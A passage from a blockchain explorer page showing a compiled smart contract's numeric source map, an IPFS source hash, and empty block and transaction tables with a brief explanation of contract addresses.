27;2006:7;1987:27;;;;;;;;;;;;;;;;1980:34;;1871:151;;;;:::o;1312:145:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1413:1:::1;1389:26;;:12;;;;;;;;;;;:26;;;1380:36;;;::::0;::::1;;1442:7;1427:12;;:22;;;;;;;;;;;;;;;;;;1312:145:::0;:::o;92:98:1:-;145:7;172:10;165:17;;92:98;:::o;5327:380:2:-;5480:1;5463:19;;:5;:19;;;;5455:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5561:1;5542:21;;:7;:21;;;;5534:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5645:6;5615:11;:18;5627:5;5615:18;;;;;;;;;;;;;;;:27;5634:7;5615:27;;;;;;;;;;;;;;;:36;;;;5683:7;5667:32;;5676:5;5667:32;;;5692:6;5667:32;;;;;;:::i;:::-;;;;;;;;5327:380;;;:::o;5715:453::-;5850:24;5877:25;5887:5;5894:7;5877:9;:25::i;:::-;5850:52;;5937:17;5917:16;:37;5913:248;;5999:6;5979:16;:26;;5971:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6083:51;6092:5;6099:7;6127:6;6108:16;:25;6083:8;:51::i;:::-;5913:248;5715:453;;;;:::o;4290:1029::-;4437:1;4421:18;;:4;:18;;;;4413:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4514:1;4500:16;;:2;:16;;;;4492:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4586:4;4571:19;;:11;;;;;;;;;;;:19;;;:38;;;;4602:7;:5;:7::i;:::-;4594:15;;:4;:15;;;4571:38;:55;;;;4619:7;:5;:7::i;:::-;4613:13;;:2;:13;;;4571:55;4567:697;;;4664:1;4646:9;:15;4656:4;4646:15;;;;;;;;;;;;;;;;:19;4643:568;;;4685:36;4708:4;4714:6;4685:22;:36::i;:::-;4744:5;:9;4750:2;4744:9;;;;;;;;;;;;;;;;;;;;;;;;;4740:36;;4770:1;4763:6;:8;4755:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;4740:36;4795:38;4816:4;4822:2;4826:6;4795:20;:38::i;:::-;4854:19;4876:9;:15;4886:4;4876:15;;;;;;;;;;;;;;;;4854:37;;4933:6;4918:11;:21;;4910:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5066:6;5052:11;:20;5034:9;:15;5044:4;5034:15;;;;;;;;;;;;;;;:38;;;;5127:6;5110:9;:13;5120:2;5110:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5174:2;5159:26;;5168:4;5159:26;;;5178:6;5159:26;;;;;;:::i;:::-;;;;;;;;4643:568;;4567:697;;;5253:4;5238:19;;:11;;;;;;;;;;;:19;;;5229:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;4567:697;5274:37;5294:4;5300:2;5304:6;5274:19;:37::i;:::-;4290:1029;;;:::o;2071:191:6:-;2145:16;2164:6;;;;;;;;;;;2145:25;;2190:8;2181:6;;:17;;;;;;;;;;;;;;;;;;2245:8;2214:40;;2235:8;2214:40;;;;;;;;;;;;2071:191;;:::o;3643:434:2:-;3746:1;3727:21;;:7;:21;;;;3719:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3803:22;3828:9;:18;3838:7;3828:18;;;;;;;;;;;;;;;;3803:43;;3883:6;3865:14;:24;;3857:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;3977:6;3966:8;;:17;;;;:::i;:::-;3945:9;:18;3955:7;3945:18;;;;;;;;;;;;;;;:38;;;;4010:6;3994:12;;:22;;;;;;;:::i;:::-;;;;;;;;4058:1;4032:37;;4041:7;4032:37;;;4062:6;4032:37;;;;;;:::i;:::-;;;;;;;;3643:434;;;:::o;6176:148::-;6271:5;:15;6277:8;6271:15;;;;;;;;;;;;;;;;;;;;;;;;;6267:50;;;6309:1;6298:7;:12;6289:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;6267:50;6176:148;;:::o;6332:125::-;;;;:::o;6469:124::-;;;;:::o;7:139:7:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:133::-;;623:6;610:20;601:29;;639:30;663:5;639:30;:::i;:::-;591:84;;;;:::o;681:139::-;;765:6;752:20;743:29;;781:33;808:5;781:33;:::i;:::-;733:87;;;;:::o;826:262::-;;934:2;922:9;913:7;909:23;905:32;902:2;;;950:1;947;940:12;902:2;993:1;1018:53;1063:7;1054:6;1043:9;1039:22;1018:53;:::i;:::-;1008:63;;964:117;892:196;;;;:::o;1094:407::-;;;1219:2;1207:9;1198:7;1194:23;1190:32;1187:2;;;1235:1;1232;1225:12;1187:2;1278:1;1303:53;1348:7;1339:6;1328:9;1324:22;1303:53;:::i;:::-;1293:63;;1249:117;1405:2;1431:53;1476:7;1467:6;1456:9;1452:22;1431:53;:::i;:::-;1421:63;;1376:118;1177:324;;;;;:::o;1507:552::-;;;;1649:2;1637:9;1628:7;1624:23;1620:32;1617:2;;;1665:1;1662;1655:12;1617:2;1708:1;1733:53;1778:7;1769:6;1758:9;1754:22;1733:53;:::i;:::-;1723:63;;1679:117;1835:2;1861:53;1906:7;1897:6;1886:9;1882:22;1861:53;:::i;:::-;1851:63;;1806:118;1963:2;1989:53;2034:7;2025:6;2014:9;2010:22;1989:53;:::i;:::-;1979:63;;1934:118;1607:452;;;;;:::o;2065:407::-;;;2190:2;2178:9;2169:7;2165:23;2161:32;2158:2;;;2206:1;2203;2196:12;2158:2;2249:1;2274:53;2319:7;2310:6;2299:9;2295:22;2274:53;:::i;:::-;2264:63;;2220:117;2376:2;2402:53;2447:7;2438:6;2427:9;2423:22;2402:53;:::i;:::-;2392:63;;2347:118;2148:324;;;;;:::o;2478:564::-;;;;2635:2;2623:9;2614:7;2610:23;2606:32;2603:2;;;2651:1;2648;2641:12;2603:2;2722:1;2711:9;2707:17;2694:31;2752:18;2744:6;2741:30;2738:2;;;2784:1;2781;2774:12;2738:2;2820:80;2892:7;2883:6;2872:9;2868:22;2820:80;:::i;:::-;2802:98;;;;2665:245;2949:2;2975:50;3017:7;3008:6;2997:9;2993:22;2975:50;:::i;:::-;2965:60;;2920:115;2593:449;;;;;:::o;3048:118::-;3135:24;3153:5;3135:24;:::i;:::-;3130:3;3123:37;3113:53;;:::o;3172:109::-;3253:21;3268:5;3253:21;:::i;:::-;3248:3;3241:34;3231:50;;:::o;3287:364::-;;3403:39;3436:5;3403:39;:::i;:::-;3458:71;3522:6;3517:3;3458:71;:::i;:::-;3451:78;;3538:52;3583:6;3578:3;3571:4;3564:5;3560:16;3538:52;:::i;:::-;3615:29;3637:6;3615:29;:::i;:::-;3610:3;3606:39;3599:46;;3379:272;;;;;:::o;3657:366::-;;3820:67;3884:2;3879:3;3820:67;:::i;:::-;3813:74;;3896:93;3985:3;3896:93;:::i;:::-;4014:2;4009:3;4005:12;3998:19;;3803:220;;;:::o;4029:366::-;;4192:67;4256:2;4251:3;4192:67;:::i;:::-;4185:74;;4268:93;4357:3;4268:93;:::i;:::-;4386:2;4381:3;4377:12;4370:19;;4175:220;;;:::o;4401:366::-;;4564:67;4628:2;4623:3;4564:67;:::i;:::-;4557:74;;4640:93;4729:3;4640:93;:::i;:::-;4758:2;4753:3;4749:12;4742:19;;4547:220;;;:::o;4773:366::-;;4936:67;5000:2;4995:3;4936:67;:::i;:::-;4929:74;;5012:93;5101:3;5012:93;:::i;:::-;5130:2;5125:3;5121:12;5114:19;;4919:220;;;:::o;5145:366::-;;5308:67;5372:2;5367:3;5308:67;:::i;:::-;5301:74;;5384:93;5473:3;5384:93;:::i;:::-;5502:2;5497:3;5493:12;5486:19;;5291:220;;;:::o;5517:366::-;;5680:67;5744:2;5739:3;5680:67;:::i;:::-;5673:74;;5756:93;5845:3;5756:93;:::i;:::-;5874:2;5869:3;5865:12;5858:19;;5663:220;;;:::o;5889:366::-;;6052:67;6116:2;6111:3;6052:67;:::i;:::-;6045:74;;6128:93;6217:3;6128:93;:::i;:::-;6246:2;6241:3;6237:12;6230:19;;6035:220;;;:::o;6261:366::-;;6424:67;6488:2;6483:3;6424:67;:::i;:::-;6417:74;;6500:93;6589:3;6500:93;:::i;:::-;6618:2;6613:3;6609:12;6602:19;;6407:220;;;:::o;6633:364::-;;6796:66;6860:1;6855:3;6796:66;:::i;:::-;6789:73;;6871:93;6960:3;6871:93;:::i;:::-;6989:1;6984:3;6980:11;6973:18;;6779:218;;;:::o;7003:366::-;;7166:67;7230:2;7225:3;7166:67;:::i;:::-;7159:74;;7242:93;7331:3;7242:93;:::i;:::-;7360:2;7355:3;7351:12;7344:19;;7149:220;;;:::o;7375:366::-;;7538:67;7602:2;7597:3;7538:67;:::i;:::-;7531:74;;7614:93;7703:3;7614:93;:::i;:::-;7732:2;7727:3;7723:12;7716:19;;7521:220;;;:::o;7747:366::-;;7910:67;7974:2;7969:3;7910:67;:::i;:::-;7903:74;;7986:93;8075:3;7986:93;:::i;:::-;8104:2;8099:3;8095:12;8088:19;;7893:220;;;:::o;8119:118::-;8206:24;8224:5;8206:24;:::i;:::-;8201:3;8194:37;8184:53;;:::o;8243:112::-;8326:22;8342:5;8326:22;:::i;:::-;8321:3;8314:35;8304:51;;:::o;8361:222::-;;8492:2;8481:9;8477:18;8469:26;;8505:71;8573:1;8562:9;8558:17;8549:6;8505:71;:::i;:::-;8459:124;;;;:::o;8589:210::-;;8714:2;8703:9;8699:18;8691:26;;8727:65;8789:1;8778:9;8774:17;8765:6;8727:65;:::i;:::-;8681:118;;;;:::o;8805:313::-;;8956:2;8945:9;8941:18;8933:26;;9005:9;8999:4;8995:20;8991:1;8980:9;8976:17;8969:47;9033:78;9106:4;9097:6;9033:78;:::i;:::-;9025:86;;8923:195;;;;:::o;9124:419::-;;9328:2;9317:9;9313:18;9305:26;;9377:9;9371:4;9367:20;9363:1;9352:9;9348:17;9341:47;9405:131;9531:4;9405:131;:::i;:::-;9397:139;;9295:248;;;:::o;9549:419::-;;9753:2;9742:9;9738:18;9730:26;;9802:9;9796:4;9792:20;9788:1;9777:9;9773:17;9766:47;9830:131;9956:4;9830:131;:::i;:::-;9822:139;;9720:248;;;:::o;9974:419::-;;10178:2;10167:9;10163:18;10155:26;;10227:9;10221:4;10217:20;10213:1;10202:9;10198:17;10191:47;10255:131;10381:4;10255:131;:::i;:::-;10247:139;;10145:248;;;:::o;10399:419::-;;10603:2;10592:9;10588:18;10580:26;;10652:9;10646:4;10642:20;10638:1;10627:9;10623:17;10616:47;10680:131;10806:4;10680:131;:::i;:::-;10672:139;;10570:248;;;:::o;10824:419::-;;11028:2;11017:9;11013:18;11005:26;;11077:9;11071:4;11067:20;11063:1;11052:9;11048:17;11041:47;11105:131;11231:4;11105:131;:::i;:::-;11097:139;;10995:248;;;:::o;11249:419::-;;11453:2;11442:9;11438:18;11430:26;;11502:9;11496:4;11492:20;11488:1;11477:9;11473:17;11466:47;11530:131;11656:4;11530:131;:::i;:::-;11522:139;;11420:248;;;:::o;11674:419::-;;11878:2;11867:9;11863:18;11855:26;;11927:9;11921:4;11917:20;11913:1;11902:9;11898:17;11891:47;11955:131;12081:4;11955:131;:::i;:::-;11947:139;;11845:248;;;:::o;12099:419::-;;12303:2;12292:9;12288:18;12280:26;;12352:9;12346:4;12342:20;12338:1;12327:9;12323:17;12316:47;12380:131;12506:4;12380:131;:::i;:::-;12372:139;;12270:248;;;:::o;12524:419::-;;12728:2;12717:9;12713:18;12705:26;;12777:9;12771:4;12767:20;12763:1;12752:9;12748:17;12741:47;12805:131;12931:4;12805:131;:::i;:::-;12797:139;;12695:248;;;:::o;12949:419::-;;13153:2;13142:9;13138:18;13130:26;;13202:9;13196:4;13192:20;13188:1;13177:9;13173:17;13166:47;13230:131;13356:4;13230:131;:::i;:::-;13222:139;;13120:248;;;:::o;13374:419::-;;13578:2;13567:9;13563:18;13555:26;;13627:9;13621:4;13617:20;13613:1;13602:9;13598:17;13591:47;13655:131;13781:4;13655:131;:::i;:::-;13647:139;;13545:248;;;:::o;13799:419::-;;14003:2;13992:9;13988:18;13980:26;;14052:9;14046:4;14042:20;14038:1;14027:9;14023:17;14016:47;14080:131;14206:4;14080:131;:::i;:::-;14072:139;;13970:248;;;:::o;14224:222::-;;14355:2;14344:9;14340:18;14332:26;;14368:71;14436:1;14425:9;14421:17;14412:6;14368:71;:::i;:::-;14322:124;;;;:::o;14452:214::-;;14579:2;14568:9;14564:18;14556:26;;14592:67;14656:1;14645:9;14641:17;14632:6;14592:67;:::i;:::-;14546:120;;;;:::o;14672:99::-;;14758:5;14752:12;14742:22;;14731:40;;;:::o;14777:169::-;;14895:6;14890:3;14883:19;14935:4;14930:3;14926:14;14911:29;;14873:73;;;;:::o;14952:305::-;;15011:20;15029:1;15011:20;:::i;:::-;15006:25;;15045:20;15063:1;15045:20;:::i;:::-;15040:25;;15199:1;15131:66;15127:74;15124:1;15121:81;15118:2;;;15205:18;;:::i;:::-;15118:2;15249:1;15246;15242:9;15235:16;;14996:261;;;;:::o;15263:191::-;;15323:20;15341:1;15323:20;:::i;:::-;15318:25;;15357:20;15375:1;15357:20;:::i;:::-;15352:25;;15396:1;15393;15390:8;15387:2;;;15401:18;;:::i;:::-;15387:2;15446:1;15443;15439:9;15431:17;;15308:146;;;;:::o;15460:96::-;;15526:24;15544:5;15526:24;:::i;:::-;15515:35;;15505:51;;;:::o;15562:90::-;;15639:5;15632:13;15625:21;15614:32;;15604:48;;;:::o;15658:126::-;;15735:42;15728:5;15724:54;15713:65;;15703:81;;;:::o;15790:77::-;;15856:5;15845:16;;15835:32;;;:::o;15873:86::-;;15948:4;15941:5;15937:16;15926:27;;15916:43;;;:::o;15965:307::-;16033:1;16043:113;16057:6;16054:1;16051:13;16043:113;;;16142:1;16137:3;16133:11;16127:18;16123:1;16118:3;16114:11;16107:39;16079:2;16076:1;16072:10;16067:15;;16043:113;;;16174:6;16171:1;16168:13;16165:2;;;16254:1;16245:6;16240:3;16236:16;16229:27;16165:2;16014:258;;;;:::o;16278:320::-;;16359:1;16353:4;16349:12;16339:22;;16406:1;16400:4;16396:12;16427:18;16417:2;;16483:4;16475:6;16471:17;16461:27;;16417:2;16545;16537:6;16534:14;16514:18;16511:38;16508:2;;;16564:18;;:::i;:::-;16508:2;16329:269;;;;:::o;16604:233::-;;16666:24;16684:5;16666:24;:::i;:::-;16657:33;;16712:66;16705:5;16702:77;16699:2;;;16782:18;;:::i;:::-;16699:2;16829:1;16822:5;16818:13;16811:20;;16647:190;;;:::o;16843:180::-;16891:77;16888:1;16881:88;16988:4;16985:1;16978:15;17012:4;17009:1;17002:15;17029:180;17077:77;17074:1;17067:88;17174:4;17171:1;17164:15;17198:4;17195:1;17188:15;17215:102;;17307:2;17303:7;17298:2;17291:5;17287:14;17283:28;17273:38;;17263:54;;;:::o;17323:222::-;17463:34;17459:1;17451:6;17447:14;17440:58;17532:5;17527:2;17519:6;17515:15;17508:30;17429:116;:::o;17551:221::-;17691:34;17687:1;17679:6;17675:14;17668:58;17760:4;17755:2;17747:6;17743:15;17736:29;17657:115;:::o;17778:221::-;17918:34;17914:1;17906:6;17902:14;17895:58;17987:4;17982:2;17974:6;17970:15;17963:29;17884:115;:::o;18005:179::-;18145:31;18141:1;18133:6;18129:14;18122:55;18111:73;:::o;18190:225::-;18330:34;18326:1;18318:6;18314:14;18307:58;18399:8;18394:2;18386:6;18382:15;18375:33;18296:119;:::o;18421:182::-;18561:34;18557:1;18549:6;18545:14;18538:58;18527:76;:::o;18609:220::-;18749:34;18745:1;18737:6;18733:14;18726:58;18818:3;18813:2;18805:6;18801:15;18794:28;18715:114;:::o;18835:224::-;18975:34;18971:1;18963:6;18959:14;18952:58;19044:7;19039:2;19031:6;19027:15;19020:32;18941:118;:::o;19065:114::-;19171:8;:::o;19185:223::-;19325:34;19321:1;19313:6;19309:14;19302:58;19394:6;19389:2;19381:6;19377:15;19370:31;19291:117;:::o;19414:179::-;19554:31;19550:1;19542:6;19538:14;19531:55;19520:73;:::o;19599:224::-;19739:34;19735:1;19727:6;19723:14;19716:58;19808:7;19803:2;19795:6;19791:15;19784:32;19705:118;:::o;19829:122::-;19902:24;19920:5;19902:24;:::i;:::-;19895:5;19892:35;19882:2;;19941:1;19938;19931:12;19882:2;19872:79;:::o;19957:116::-;20027:21;20042:5;20027:21;:::i;:::-;20020:5;20017:32;20007:2;;20063:1;20060;20053:12;20007:2;19997:76;:::o;20079:122::-;20152:24;20170:5;20152:24;:::i;:::-;20145:5;20142:35;20132:2;;20191:1;20188;20181:12;20132:2;20122:79;:::o

Swarm Source

ipfs://619a178bf73e5e8a62b5c8297c53178571345a0731acf2cd26bdf258fd7a8bc0

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.